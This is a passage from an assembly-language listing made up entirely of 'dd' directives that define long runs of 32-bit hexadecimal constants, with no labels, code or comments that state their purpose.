8C729AD4h, 53003486h, 3F7752C4h dd 26D8C8h, 23D33045h, 1B078F92h, 0FB655300h, 254E59DCh dd 0D03400ACh, 0C6B07E7Fh, 0FCE87B4Bh, 3F8AC106h, 18ADEDh dd 2B9A53D7h, 793970BEh, 3C37A206h, 7219F85h, 730CCA96h dd 2BAA40DDh, 191E534Eh, 1D40FA21h, 63C63C3h, 0B22A02D7h dd 48C43834h, 23A62041h, 29211038h, 7C3F2A3Fh, 0BD8A5180h dd 15EB1124h, 6FCD3Dh, 3096DC45h, 21D95Ch, 0A7BEA3C0h dd 1FB2FDEEh, 92074001h, 549E5BF2h, 301CE4h, 0BEB7E849h dd 7ECAAEC6h, 0DDF63400h, 0DB944298h, 2EF90088h, 0F1B85446h dd 23006B50h, 0B7E43BC3h, 29A4830h, 1AD61099h, 44E08CEEh dd 3600504Fh, 330FDD28h, 0C846B1h, 0EE1C3DAh, 6BE09B05h dd 22FDEB03h, 0E8EDE9F9h, 9E519h, 69047C83h, 8155DADh dd 0BA95D800h, 0EF077DDBh, 0D570168h, 52EC1EFDh, 282620C7h dd 0F38BD07h, 23F05D51h, 3F059Ch, 0F6DE82A6h, 7FEA87D0h dd 7B0BD507h, 1360DCF9h, 2EB75C8Bh, 0E388BAh, 0C9337A28h dd 7D00FB85h, 2539D872h, 4963C0h, 3BEBDD14h, 0A0697E55h dd 27B26097h, 5E850046h, 439FED2Bh, 0A5030640h, 0DEBB04B8h dd 0F130B8A7h, 0D79D00E0h, 0FB916662h, 0DDFE8AF8h, 6A3D3707h dd 61312AC4h, 26C4E05Ch, 0F5F009Dh, 67039163h, 0ECF4307Ah dd 0A6148A07h, 54101F4Dh, 0FA115h, 7911E62Eh, 4AC59ACCh dd 2BB3Fh, 0E3EB3BEEh, 716E223h, 0A15C2C45h, 0E6FE7CBh dd 0F3D812C0h, 0C500D589h, 7EBF71C1h, 91BC28h, 0B46E9522h dd 0D546A25Bh, 0A963B700h, 819749CBh, 0F5EC00B5h, 660ED860h dd 0E70040F4h, 5E8176Dh, 15E2BCh, 55A7446Fh, 0DC301E81h dd 7587A226h, 0BA0A3400h, 2F00620h, 3D270F4h, 0A8835E0Eh dd 7BE8E48Ah, 0D000704h, 2B6C047h, 63B5CBh, 0E6E1DD31h dd 18743BD4h, 999AE00h, 0BDD0F794h, 3E7507C3h, 8030E16Ah dd 0FD5A913Ch, 7646F519h, 0DAEC8618h, 0ACECD9h, 0B41157B6h dd 5EA3E74Eh, 0A6BA01Fh, 0F81480F3h, 65148A2h, 0C1E53543h dd 0FB3B18DEh, 0EF74006Ah, 89C41F5Bh, 0D88C0737h, 70885819h dd 9CB37AA3h, 4DE4BE54h, 7186BF1Fh, 9D4BC500h, 0D9FC0Eh dd 52BDABACh, 6707516Fh, 40D8F500h, 5B429448h, 0E5DD4C4Bh dd 40D7F61Ch, 2FB2801Dh, 39DE0D68h, 1542B500h, 0F68B75CBh dd 8DE318FEh, 8CE07020h, 0AD779E1Dh, 0BD7B6E81h, 99E46973h dd 0EDCB09Bh, 0A7A3F172h, 0E71C3200h, 890058EBh, 0FE93E61h dd 2494148Bh, 6E61E6Fh, 0C9F95C7Fh, 0C9869000h, 69259AACh dd 0D600006h, 3A6D587Bh, 9518CA9Dh, 0DD403697h, 64AC3A51h dd 80875918h, 78003985h, 7690639Eh, 0C1B7A394h, 2353EAC8h dd 3EFAE8C9h, 0DE286E79h, 1D73C689h, 0FDB73400h, 0DF705012h dd 5F9B001Fh, 4495E9C4h, 2B059957h, 0C0A5433Ah, 20D5CC00h dd 129A8968h, 410FBAE3h, 96BFD6B0h, 9A8404Ch, 0BE0F7938h dd 8B115CC4h, 0A28A809Bh, 60521E6Ah, 8096E9F7h, 7BF422FAh dd 6794B700h, 0DAB4417Eh, 0BAA7017Dh, 0F72C5164h, 5A54201Fh dd 4394C001h, 0FCD21227h, 3FE9CDC4h, 72866134h, 8887DA65h dd 590036E4h, 114A06E4h, 0F791686h, 7CAAA294h, 0B1F23F46h dd 5D887E1Eh, 3B2A80B9h, 0E5434DEEh, 8B8100FFh, 288682D1h dd 6530F048h, 8A743031h, 587062B0h, 0ACA0B295h, 0A8AE58EDh dd 27E7DC03h, 9072D445h, 956097h, 1219DFBh, 1BF59F78h dd 41047476h, 0C5480FA5h, 8CDD7C80h, 0EF0B0006h, 76517267h dd 821DC68Dh, 9800F7E4h, 0BFAB1C9Bh, 0C3CF0175h, 0DAFFA499h dd 0BEA05562h, 0A149850Dh, 30E38C40h, 1A87E42h, 3C80E4ABh dd 0C075DB2Ch, 0CB0EE0C2h, 0E51894h, 9F2D7BB3h, 4B2400A8h dd 6C456660h, 8A012AE7h, 5BAD599Dh, 0B4607D73h, 0D188007Fh dd 8F1C7A90h, 3D000903h, 22C8C94h, 1E71DFE7h, 0C00624B7h dd 0CB01D8BAh, 90073E0h, 0D11D1CC9h, 0B03869h, 0B66E4EA5h dd 2FED6F03h, 6B978200h, 504518FDh, 0CBD30732h, 8949982Bh dd 4C3C2B00h, 2E00AB99h, 0F54F939h, 355958h, 6855ECEAh dd 1FDC17E3h, 6343C500h, 0D51CCF19h, 8D4D008Eh, 9F34E2BFh dd 30909E44h, 6CEFE730h, 663339h, 8BB23ED5h, 7B983C55h dd 90E9A5Ch, 80E29349h, 0D0927E0Fh, 596900DFh, 83C80E2Ah dd 400E12D8h, 80B0A161h, 2C6CA549h, 1A9905DDh, 78D6657h dd 600D58FCh, 0DB4DDC53h, 692339h, 44D1D998h, 3E891DC1h dd 0F900BB5Ch, 846112F5h, 8276E36Bh, 7917713Fh, 5925C500h dd 9078DCAh, 0DBCB0088h, 0D2674EC4h, 0A83CB06Ah, 0B4172891h dd 86B5500h, 0D83EE77h, 8DE70E76h, 88608760h, 0D4FFDF5Ch dd 44A63D00h, 0A4680EE4h, 28560E4Ah, 0E0A1ADDCh, 0BC5F8201h dd 46A80068h, 0AF30EEE8h, 0E68E0FDFh, 0CFCBFBA2h, 484DAD00h dd 20B81D36h, 39DF9C9Ah, 0B4D42AC0h, 0F51E5ADh, 67361BEDh dd 4A6A9E00h, 0E6243C4Fh, 6D01905Ah, 98057CF1h, 388DF0h dd 0ED443089h, 0F0637B0h, 406E1200h, 519BA266h, 59E80350h dd 46CC74A9h, 0A63C17A8h, 0FDEC8707h, 80FA69DCh, 80BE780Fh dd 5C8E9F1Ah, 0E12F0093h, 0EF26CF2Eh, 0C801F9E6h, 0ECC0BD82h dd 0E7FCA554h, 9EAA3EFBh, 0CC0BD258h, 3802F64Bh, 80C0BF12h dd 60009986h, 6EEE2A76h, 595B7D68h, 0CD3C50AFh, 3F4B1B89h dd 0F20CC030h, 0E1DC941Eh, 7918B21Dh, 0FF0D19h, 0CFC05C46h dd 0AA66EA96h, 0DE9D9A0Ch, 426051B6h, 5F810B6Fh, 0C04420ACh dd 710134D1h, 0A440B2DBh, 500400E8h, 77FE31F4h, 6307A9D8h dd 0AA265D8Bh, 67F9600h, 0CC30C0BCh, 80EAA692h, 3D614D3Eh dd 918E058h, 1DF2B34Bh dd 89FF24FBh, 1CA363C6h, 0A0C81C29h, 0A30C0A59h, 0C9849248h dd 0CB53005Bh, 0DE833147h, 4578232Dh, 24C96600h, 0B342E341h dd 27A9005Fh, 781BB49Bh, 13006E86h, 0B9206D8h, 0B9E105h dd 0A5B8CD48h, 0D73C5643h, 0F0B096E8h, 41581C18h, 0CABE5F9h dd 4A525B02h, 69010E10h, 945C81F5h, 8DF007EEh, 1ACF00E9h dd 9D53D4BCh, 0C800C675h, 770E63AFh, 97A70EDh, 25FB02E5h dd 0C0BD8425h, 4FFFDEC8h, 11B18230h, 0BF5980h, 0DBC9306Eh dd 85FEC867h, 0D11958h, 0A22423ECh, 0C3D695h, 506330EAh dd 875702E2h, 0F686E700h, 5BC038D0h, 37F3000Bh, 0F4E8EDE3h dd 2807881Fh, 0B60ACA97h, 1899CDD0h, 452C03EEh, 0DE64DC1Bh dd 0BD28E5D8h, 699DC60Bh, 99E00003h, 92B78Dh, 0C8CB4274h dd 0F4E7375Bh, 820004E6h, 0A2262A94h, 577234h, 882CEA1Dh dd 530D90C1h, 0B393DE09h, 3EAC2049h, 77FB6195h, 0BF2D050Eh dd 9044F24Bh, 6D9273BCh, 6B0D4315h, 699600B8h, 3819CF7Ah dd 0B4E00C7h, 0FB35A93Dh, 0D51C4716h, 0DA4062D7h, 0A7F466B0h dd 325A5C57h, 7F043F00h, 0EA0668F6h, 394CF000h, 88DE098Dh dd 2A4A07D9h, 0D09A3074h, 14AD9C71h, 9CA6E63Fh, 20C0C0B4h dd 621C7779h, 98752C0Ah, 6B440F80h, 0CB8B2FEFh, 0B0D7D600h dd 30EFE143h, 3400DDEEh, 3CBD65F6h, 2C30E8A4h, 80DC82B1h dd 637025A3h, 1200CB41h, 0AFF35E44h, 0C718F9h, 6937D36Ch dd 9CEC9864h, 0D47D901h, 1F238B8Dh, 7700DC28h, 46A556B1h dd 8E13BD5Bh, 9000516Bh, 9D98366h, 22B900EFh, 93F54ABBh dd 7006D5Ah, 0A42D5996h, 3E0E3848h, 0B1839889h, 204AD6C7h dd 0ED42A890h, 0DFC46F13h, 0E691D801h, 0DBC0BCF4h, 0B27B3912h dd 3500A23Eh, 8B25DA1Dh, 0BA00F9E8h, 787CE0DCh, 7E50B22Ch dd 0CEA30308h, 6ACB4FCCh, 7D0F88D0h, 95E1F407h, 0E870AEB8h dd 0E6BE936h, 0B079487Bh, 4A1CBD80h, 0BF051D69h, 0E1BB9E2Dh dd 0FB53C480h, 2CC80271h, 0B088AE4h, 0E47925E1h, 0C928D6BFh dd 0D803C493h, 0CAE25CABh, 0BCC29B0Eh, 9F02CFA8h, 89A90653h dd 129826C3h, 0CB012460h, 81C43E65h, 5C645F51h, 0E63600FEh dd 0CCDE1AD8h, 0CE50D46Eh, 0B51063C4h, 91C19790h, 0EEE3573Bh dd 6800A450h, 0E7233FFEh, 0B942D1h, 4BF40B40h, 0B4798E73h dd 61CDE800h, 22847E91h, 510E3EA6h, 5E483DFAh, 0FE5C8680h dd 2EE61EA7h, 0F2A64F07h, 8017D170h, 3BF77770h, 95D75CE9h dd 0C2F13400h, 15EC8B3Ah, 83E1DE38h, 234B1184h, 0F67801C5h dd 655DE7C7h, 0FA1830C4h, 2DDB1C1Eh, 54C8AF3Ch, 482EFBh dd 627D54DAh, 99035997h, 0F618445Eh, 428DF89Ch, 87D2002Eh dd 8A648234h, 0C4631C22h, 0F8ABECAEh, 0C9FFE0h, 0B25C83AEh dd 0A3E62D53h, 16C0E900h, 2B2E8A88h, 75731335h, 0A5140011h dd 70E51387h, 85B6BE00h, 20D333A7h, 71E0005Ah, 918236F0h dd 6B009E10h, 8C48BE09h, 3E9E4EDh, 0BF77CA57h, 0A4D8E84Dh dd 0FD0880C0h, 17247h, 9B715E8Fh, 0A812ED8Dh, 4C8093DFh dd 0F44F6Dh, 827B3A3Dh, 1A1615F9h, 2BAF4Ch, 0D2E167A5h dd 4A08F6h, 30E3047Fh, 0AE365DA0h, 0A476CD00h, 97F4811Bh dd 509660EBh, 6BBBE028h, 44B1BFF8h, 3EF2E80h, 98D911h dd 20B9362Dh, 0F554B430h, 0D0008E73h, 95F12F60h, 1C751B7h dd 6EEB28B6h, 24249DBCh, 45203330h, 0C6600040h, 0E3014E78h dd 5B0E5F65h, 0E0E5D930h, 4F1EB30Bh, 8C5A3026h, 3D799690h dd 3819F39h, 874C1FDEh, 0EED0E03Ch, 91D50012h, 3156A96Ch dd 0D80022A0h, 0F1C7927Ah, 0E40D374h, 0BDE491BBh, 0B57B45E0h dd 370096DFh, 3CB42BF2h, 5CF107E9h, 0A000FE9Fh, 113B5D9Ch dd 8F00C21Ah, 424507Fh, 0FC018E8h, 8303E4FDh, 4EB0C540h dd 3801BE23h, 49AFBA05h, 0B7C83ED8h, 0E61800AEh, 4795DC98h dd 541F6ADDh, 8C8083CBh, 4BBBB5BAh, 87710EB7h, 26A2D914h dd 0E440CCF4h, 0A00ACB2h, 32C151A6h, 90069D89h, 5F0D0028h dd 0F4B86DEFh, 8F728C0Eh, 7BA9AA00h, 5D54C999h, 0E3E900CAh dd 0D765A1C6h, 2303590h, 0E022D68Bh, 0C0F50027h, 0D8680C41h dd 3B703624h, 0F7762890h, 7BE3944h, 96C8AC74h, 124AC149h dd 47F1E4E7h, 0D667C200h, 533280F5h, 0CB190055h, 0E62B4901h dd 413A847Ah, 0A500F890h, 865EA47Ch, 29B8867h, 122F43A7h dd 0FF8042F8h, 0BFD79089h, 0B0E00100h, 0C553AE1Dh, 0EFBB074Fh dd 0F2A92102h, 88C05E42h, 310B6906h, 0A1FC87B8h, 23CAD324h dd 0FE93D30h, 372759B3h, 8176F2C0h, 0E53ADFA6h, 3A549FBAh dd 0EEF408C0h, 0B2FA51F3h, 9C7524h, 40AEEFC5h, 0B127A61Ah dd 7794F326h, 9D808527h, 22EE85C0h, 7F5B16C5h, 42801D0Ah dd 94F5493Eh, 3FF7C400h, 4AF62CAFh, 0C3308130h, 0E4934D62h dd 7901B55Dh, 2FBD3DEAh, 3FCB064h, 0FBD83CF3h, 47F1A51Ch dd 33924BC5h, 7AF872DEh, 8C90CA99h, 0E4E9B702h, 0E8DB2E2Ch dd 0A5F7E8h, 0B4984245h, 698E5414h, 0CEC0D4E4h, 9E4F58CBh dd 0B7DE1CD0h, 2A8AE6Dh, 45BA0382h, 8B68E3E0h, 0F535FA00h dd 8CE2623h, 4C7700D9h, 0A105638Eh, 2B008C28h, 0AB818701h dd 0AF346Ch, 0A583609Bh, 27954740h, 7CB75403h, 0E0EE21B5h dd 2C8501D3h, 0CA81E0h, 0DFB2729Dh, 0B03BB8FDh, 3CC380F6h dd 4E94C80Bh, 0B1D807A8h, 0F09E2C98h, 14BAE203h, 102DB930h dd 72041Dh, 91736CD2h, 2E1F1917h, 0A80045E0h, 0C17079F2h dd 0FCF5023h, 0C9618AEBh, 2812FA40h, 490018D6h, 7EB4CAFEh dd 0D03F01h, 6BA03B90h, 0DB29FD99h, 0A688000h, 0E8482AC8h dd 0DFCF0127h, 0C40CFCC6h, 309847CEh, 0E019B888h, 0C0426400h dd 0C1985894h, 28D9007Ch, 5505FCE2h, 0E15DBDABh, 2953006Ch dd 0C1A019A6h, 3E8F00C3h, 0EA68D26Ah, 17178FCh, 0E329420Eh dd 0B3383836h, 0B728Eh, 0FA0F515h, 0A2D99009h, 7CB26B00h dd 8644E7B0h, 0FA5F06Ch, 0C4C62292h, 3D9594A0h, 0DF0246F7h dd 3BD9B8E9h, 0B3FA80EAh, 163F40ADh, 0F8439Bh, 10B73CEh dd 2C00D8B0h, 69659D86h, 2DAB144h, 0E309C27Ch, 3541538Bh dd 0CD46ECEBh, 8FA3710Eh, 0E51EA74Dh, 0EC3001F0h, 58586114h dd 0CCB209E8h, 5200F95Bh, 197BEA90h, 629685h, 367769F8h dd 0F64D077Ah, 1AEBA50Fh, 10FEE051h, 0C9D331h, 0C60CDDFBh dd 62A02FD1h, 6D483800h, 18B6308Fh, 1F3A9015h, 80FB8B57h dd 3D553C1Eh, 71000602h, 4CF31BFDh, 9AB23Ah, 4987941Ah dd 1162A39h, 0E33C8D0Eh, 0C0D34002h, 0E0230B43h, 0ACC8004Ch dd 4F21A058h, 8F001B9Fh, 0F112C217h, 305BD5B5h, 88C870E3h dd 0C11869F2h, 9D10717Eh, 4A28000Ch, 8FEDD0F1h, 9F00A1E7h dd 0B2C85B55h, 0EE3ED17Fh, 36B0349h, 0ADA03506h, 0DF1AE5F0h dd 0A28DB118h, 9436C0h, 3C43975Dh, 0A0850A2Fh, 0E072660Eh dd 0D909E1h, 6842F283h, 3FE50CA3h, 0CB817487h, 3AF6EE01h dd 39C7BEFBh, 0E480A370h, 0B87D0F31h, 9240A441h, 8D865B9Bh dd 0F068AC03h, 0ADB96Dh, 22FD3278h, 7F579CA5h, 81D16700h dd 0C7B38ED6h, 4F83000Eh, 856529AFh, 0B7072086h, 8247E0C5h dd 0B1C0E724h, 89D85Ch, 189699BAh, 8F858458h, 91367618h dd 38D0A03Ch, 0DC0007B1h, 48FD51AAh, 83789709h, 0A908D800h dd 0B4637BF0h, 1880EFF3h, 0B1320346h, 0C9FA22F5h, 6B67D500h dd 0F4D7AE21h, 29206045h, 3C9975FBh, 0F39CA400h, 0D26C373Bh dd 58710057h, 557F1C34h dd 0B31F504Fh, 8600C256h, 0E797CFEDh, 0C3E2008Bh, 11823C96h dd 0E609EA64h, 279CD3h, 85038FA4h, 305A00B9h, 684F8C9Eh dd 0D91E6ED1h, 0BFC0FE62h, 88E9473Fh, 0AFEF0075h, 0A86D737Ch dd 0F008AADh, 12A77740h, 515445h, 0AE80B265h, 0C9D76972h dd 91DCB700h, 0BEE2A53h, 0DBAA00D1h, 0F90A8189h, 0CD3FEA7Ah dd 0D73E8077h, 0F1037F24h, 86FA009Bh, 0F9A89E1Eh, 63785A67h dd 0BEE10D00h, 62AFD626h, 0E2EC0244h, 0A5FDD450h, 16FA1140h dd 96016000h, 73FC5D45h, 88E600ACh, 9A6E89A8h, 5B020D71h dd 2A3AD6DCh, 0F96E60D8h, 494F00B2h, 0FE1BB8B4h, 7000153h dd 4148EB78h, 1B50796Eh, 7061D488h, 0B9160BA8h, 0E8E21100h dd 0B21D6C94h, 9D0600C1h, 0A08DF92Fh, 0C507DECDh, 0EF07A5AFh dd 0C8E9B360h, 730901C1h, 8E4887DCh, 8302EC9Eh, 34461700h dd 4538F66Dh, 682500ECh, 15DAB2F4h, 1F059D8Ch, 5E0CF7E8h dd 45044404h, 21230820h, 1B12811Dh, 69B8D3C0h, 196CC54h dd 1FA28ED0h, 8FF4F6F3h, 805CD718h, 0C9A0C0C8h, 0A87D064Ah dd 397FD048h, 169FE4E7h, 86084100h, 15545540h, 0E7D00026h dd 3BAA5FE4h, 4E7A307Eh, 3D98371Eh, 0B253B1C0h, 4AA4C0h dd 8F0656C7h, 0BF6D501Bh, 0AA6C7300h, 0C204922h, 23C300Dh dd 0DAB98F68h, 5ED1BD07h, 4EC085C9h, 65DE73BEh, 83B12001h dd 0E4E0F3ACh, 33C52B0h, 4989803Ah, 14ED36C1h, 24A81EA5h dd 8D6E406Fh, 0CF5A0AE3h, 94C5B828h, 6776811Eh, 217ABC00h dd 1C2BF4ACh, 5DD2C690h, 0DE270216h, 1863C87Fh, 0F67A7004h dd 8B4A66h, 224BE20Ah, 2FE100B0h, 635DB4BAh, 8048FF00h dd 0CBE4151Eh, 30A03C8Ch, 2854B101h, 60AB0921h, 200DA23h dd 3D7D1842h, 4C2FE38Ah, 0ED00490Fh, 5D4D230Ch, 9E1FF781h dd 861411FCh, 0C5EBB540h, 0AC3C0005h, 8CF7C679h, 0A42DE712h dd 0F2923400h, 1D73CE61h, 5E076C70h, 323EBE77h, 5A319680h dd 89B932Bh, 0EDD4A450h, 0C6B62100h, 378A6C17h, 424A1871h dd 7A1FBA1Dh, 3D088609h, 6808200Ch, 715A275h, 4AFBA478h dd 318D1ABh, 0AEFE60EDh, 0BCB87B0Fh, 30D0CC7Eh, 16AA00C3h dd 0E85E22E9h, 0A03FB2E5h, 4356000Ch, 0B668B4DBh, 0E8FBFB2Ch dd 50138723h, 0A0E0DAh, 3DB3862Eh, 0B0EF1448h, 0F5210600h dd 1591FACFh, 7ED5388Eh, 0DD000F48h, 3A1A556h, 381321ACh dd 7407ABB1h, 67108C37h, 14354936h, 0B0B7896Bh, 0FCC50C00h dd 0DE63841Fh, 0A4C35A09h, 24A82782h, 88956113h, 1A245F1h dd 18D7C72Dh, 0C0A5FF42h, 8800A412h, 790CFBC3h, 35F45C2h dd 35605D70h, 0A800E19Fh, 38F919DCh, 12A3BDAh, 0F7932168h dd 0ECE36010h, 27C9F7Ch, 0F8733200h, 3FEAA1D4h, 7D6A036Eh dd 0C6CB578Eh, 0E8F922C0h, 38820330h, 0B219795h, 0A89CC0C7h dd 627E5C00h, 6F2EFC8h, 4BA99100h, 5ACB6A69h, 475D285Fh dd 0AC630080h, 92B97F90h, 1B0278E2h, 8F624584h, 4DCC80BFh dd 0B01A7CD1h, 0D07520h, 0BA58C224h, 0EE9AA63Ah, 0FB9B1902h dd 401D8005h, 9EE4F5h, 0BF39CCBDh, 698F26F3h, 1A0AA500h dd 5D9FBBD9h, 0DDEC000Fh, 46EB8AF9h, 92000155h, 71632CC9h dd 28ED9E07h, 0B4F851h, 0CB77D1C1h, 0B1611F1Bh, 20AB991Fh dd 20D2BA89h, 4A6B72C0h, 2D19008Ah, 8211C65Fh, 0A4492484h dd 980800A8h, 78A613FEh, 23880048h, 77939B61h, 9E01F2C5h dd 0B3D25D4Ch, 0AC2449F1h, 0DE4087FBh, 61182CB7h, 201320DBh dd 43A83023h, 297F4207h, 1694CDEDh, 0F785B4C0h, 0E4DC009Bh dd 7136DAFCh, 349226BFh, 36457B38h, 26D8694Dh, 0C0447FBCh dd 61A80C7Eh, 802D5D3Eh, 42F54043h, 189F28ABh, 90CB463Eh dd 0EB06D9BAh, 2C9DB27Dh, 0D1300048h, 9B37B6A6h, 29DE3252h dd 0DA07D516h, 97A0089Fh, 143814Ah, 0FC656BBAh, 82DFD01Bh dd 0C2375428h, 0C0B08A9Bh, 1225B9BFh, 0D000E7A4h, 2EB724C9h dd 1BE402EAh, 12FAC24Ah, 4DABCC48h, 28E3E906h, 0D8FF6Ch dd 0AFDB48D7h, 0A72CCDF9h, 0A4D67B0Eh, 6E27A30Ch, 0F390046h dd 40B4CE59h, 9600AE76h, 84C87113h, 5C5BD1C0h, 830047DAh dd 6CC95F2Eh, 0C500593Fh, 9B784056h, 8C2C84h, 87A02407h dd 7202A83Bh, 129C13Fh, 74B61932h, 0F4300D2Bh, 872F1349h dd 81D01D44h, 0AEF98C7Dh, 8D1AD41Eh, 4ED56D00h, 37AD3086h dd 728107FFh, 306F539Dh, 23EC9435h, 0CAAE880Fh, 52B3E07Ah dd 901D2E67h, 76D400A8h, 0ABB9D717h, 6036B36h, 0F64050CEh dd 22FEB3Bh, 1D8BC9C0h, 74495A90h, 0B0A45725h, 0E10B3BC8h dd 0A1E01301h, 90F61DF3h, 0E0FCD0D8h, 2C017C54h, 0E51419h dd 24687178h, 98004758h, 38DA4BEEh, 9E334Fh, 4D53D91h dd 8ADD1363h, 80D9BD3Bh, 0B06F06B1h, 0F436A240h, 64C32EF5h dd 0E8643174h, 0A003CF47h, 0DFF2D5DBh, 10AE69h, 4E29EFFDh dd 3FAF14E7h, 5295EC00h, 0E9BA1841h, 0EA261E5Fh, 989D40B2h dd 91651A5Eh, 1FD2001h, 0B82EE8BFh, 0C49E70h, 2DD89488h dd 64AC070Fh, 0FA531A04h, 0D8809829h, 4AF05h, 0AA93B71h dd 0F463869Fh, 94BB8C24h, 66293C01h, 50312F51h, 17E96CCh dd 626A0AA1h, 30CD7BBCh, 0E7FCDB7Ch, 97711714h, 0F89F0091h dd 0DE4858EAh, 0E2B70004h, 868F903Bh, 2F044FB6h, 2D0206CEh dd 9F3E7380h, 0D5101D70h, 799880B5h, 1A780C59h, 750FB609h dd 0D4B4825Eh, 7A4740FDh, 2D7600B2h, 44025B73h, 9601AD8Dh dd 641DBAEAh, 0AC40CDB0h, 77596566h, 5D11C304h, 0A4E83F8Fh dd 0DE052E55h, 0B1EA162Bh, 0B6542C97h, 2877049Ch, 4FC03ADh dd 950FE511h, 6B049010h, 0B000C794h, 43E43B47h, 30E9DB4Fh dd 0E5316A1Eh, 0E82620E2h, 93C00A4h, 0BD3305h, 0CCBEB017h dd 9DA10043h, 9B88B31Fh, 3483A1Dh, 50CF0010h, 340C5B20h dd 819EC792h, 0CCD5E095h, 6A00DAE9h, 0F7E5EFE0h, 0F23A59E7h dd 3B19014Fh, 777B6DBBh, 0BC93FC34h, 0CE902800h, 0C4825097h dd 7A1E003Ch, 1B790257h, 0F800AE87h, 97EFBB16h, 90730E8Dh dd 2DDF00CCh, 4F398A58h, 180025B7h, 74319B05h, 48CC16A9h dd 0EC12A44Eh, 0CBB30026h, 94D6EE85h, 0AFCDE600h, 15B3C408h dd 8B2000E9h, 54BC01EDh, 993CD732h, 0C6B481E5h, 0C869D012h dd 1EAE2064h, 40287103h, 0D6523AFBh, 0B41C72C4h, 62949712h dd 9A6D00A4h, 44942C9h, 8682690h, 0A91754h, 516C324h, 93010D99h dd 726A85C9h, 80F432C0h, 42FDA098h, 0BAD802ECh, 45855EC5h dd 0F8941CE1h, 2D004076h, 0ACDE8E3Ah, 589C0478h, 0F5011A89h dd 0AFB22FC1h, 229C30A8h, 84E5F600h, 0E1DE1003h, 4AA7017Bh dd 6026CC66h, 8CE3E8CAh, 539C9400h, 0F1198E62h, 7A7300B3h dd 844B578Fh, 7500B81Eh, 3BFEBFEDh, 1EBB6D05h, 80BE010Bh dd 2C574D36h, 9E0E29Ah, 90B04Dh, 3898F87Ah, 0BB97E5h, 57C54217h dd 22609173h, 826B4E1Eh, 0B4D2AE80h, 5B49A8h, 0BD76C8C7h dd 200A69A7h, 2B8B0E00h, 5D13EB87h, 14450068h, 0EDAFFA6Fh dd 981223C0h, 18803021h, 79EF2D83h, 594F0091h, 0A6C1B655h dd 0A2383C7Eh, 4D00F98Eh, 634EAF86h, 24B6C659h, 80943E06h dd 0CEF6D83Ch, 0B93D570Eh, 0D923B8A8h, 70C00C0h, 86A0F3Eh dd 40990024h, 8DEAF6A6h, 10003D42h, 83326269h, 78C6546h dd 5E355653h, 40133F72h, 8BAEEA28h, 3800746Ch, 0FDEC703Dh dd 0FEAA0AF8h, 9E9879h, 0BDC2C58Ch, 61A36076h, 94331A0Bh dd 0EFEA0030h, 37FA6D6h, 314EA001h, 3100A849h, 0A2D0BCF4h dd 50352461h, 2AE680B7h, 5CC07039h, 0AE006071h, 0F9FE9B01h dd 0E30033B6h, 0D937CB88h, 47159Ah, 0DF1AEE08h, 4F0C493h dd 0DB0E947Dh, 802EC907h, 0AB3EB99Dh, 0F7E00AEh, 6372D03Ah dd 45263579h, 370038D9h, 9B965B95h, 9B23702h, 9387C078h dd 0F9037885h, 0F10FDD82h, 95180750h, 41C2E571h, 40B302BEh dd 85968D18h, 806609Ah, 0A2AE974h, 790E0008h, 0D2A61601h dd 263BD3EAh, 4CDB0102h, 0DD34C8BEh, 0E58917C7h, 0C0CFF5Bh dd 0C8148FBh, 89033EBAh, 0A91F8259h, 0AEBF8B96h, 0FC184FE9h dd 0FED9A029h, 0C9F41FDAh, 0E96CC062h, 8E930A0Fh, 44C9E50h dd 8CE1B0C0h, 0B896415Bh, 0C9A6005Ch, 0DA69453Ch, 89008AA8h dd 0E47A7977h, 1E748783h, 80470ECAh, 0F5A07EEAh, 0E6071553h dd 0BFF9E508h, 19C656h, 5ACDE291h, 47C060ECh, 0EA59003h dd 55C2A77h, 85153C20h, 0C0EC0072h, 0E5E3D344h, 0D4305760h dd 3C6CC0Fh, 0F30CF488h, 18625859h, 1865240h, 0E00A8E0Bh dd 0E67867FEh, 0B2448777h, 89701281h, 352480B4h, 0EE05721Eh dd 0A8A8769h, 95FD04Ch, 0C316780Ch, 0FAE70E89h, 8F42513Eh dd 98EE86C0h, 0FE95F2D1h, 846006E9h, 415FB6A7h, 5E017801h dd 6B05B841h, 775424h, 7690584Bh, 0A0C0C9B2h, 0EE98D360h dd 1A9A528Ah, 600E1356h, 0C8446000h, 78005FA1h, 0DBB0F239h dd 48FA3EEFh, 8F187540h, 879FB1F8h, 0B774DA07h, 0BAE036BCh dd 0F4BB7Dh, 0FC0177FFh, 0DCE58549h, 71E4837Fh, 40DE4500h dd 815D2A52h, 65D300F2h, 1534CD30h, 490FA8Ch, 0AEDD2700h dd 0BECDAE5h, 8A891835h, 8DED71F9h, 4FF4EB0Eh, 70D08160h dd 19E47FB7h, 0A6AE00CEh, 0EC67C1Bh, 0C725968Eh, 8F58609Fh dd 4041C714h, 0EEE070D6h, 9F78822Dh, 0A3022807h, 0B6B1E1D1h dd 0A4504DB5h, 3E696485h, 0B289167Bh, 2200FC91h, 0DAC92FFAh dd 0AC243AF6h, 4200607Eh, 90466144h, 37C601E8h, 0DA51789h dd 811EF402h, 0BCBF283Fh, 9290033Eh, 904A44EBh, 12954FDEh dd 0ECE4C885h, 820A018Dh, 7B9054C9h, 0CB030C22h, 30DC0663h dd 0FC72AA90h, 988FE324h, 98ED2781h, 119EF597h, 3B5740DEh dd 95963923h, 97198861h, 0CFD48983h, 2B180976h, 0C206DAAh dd 17E1ECE8h, 350040B0h, 46E766E5h, 0B6C4F63h, 0E28ADF28h dd 0E0122841h, 0FA030F82h, 0CED2F24Ch, 9F84B06Dh, 60BD3FE3h dd 6EA4983h, 0B0BFF0AAh, 74E1ADDFh, 0C822610Ch, 1DA33183h dd 584966ACh, 477E10CDh, 9F61DE10h, 90C12000h, 0FFDFA4F1h dd 0F63A1700h, 532CCB8Ch, 0CD1E0FBAh, 87A0488Bh, 491F123Eh dd 49C75537h, 3AC40A70h, 0ABC906EEh, 187547CEh, 0C73022EAh dd 53CD81D5h, 819C071h, 8A39C5ECh, 0BB776C18h, 0C0761449h dd 81524D3Eh, 0C2001B0Ah, 0A0AC3C38h, 3FAE7AA6h, 7C006FD5h dd 3614396Ah, 0F900FA16h, 0FC701D35h, 0E50A9C83h, 9733ECh dd 0D376C5D4h, 0F98DA78Bh, 4BE7E06h, 71908449h, 7499C0EBh dd 68C25232h, 0FE78D900h, 0C0F66F9Eh, 724E30F4h, 85C89738h dd 54619616h, 0F80F8707h, 69E5BB20h, 1E1D0104h, 0F4CF6A65h dd 0B4802B82h, 1F07D5EFh, 0DC8F22A7h, 5C8A0024h, 83F5A96Fh dd 127A2500h, 19E523A6h, 0FBA300E1h, 0C65CE3DFh, 8B008F1Eh dd 0B3957876h, 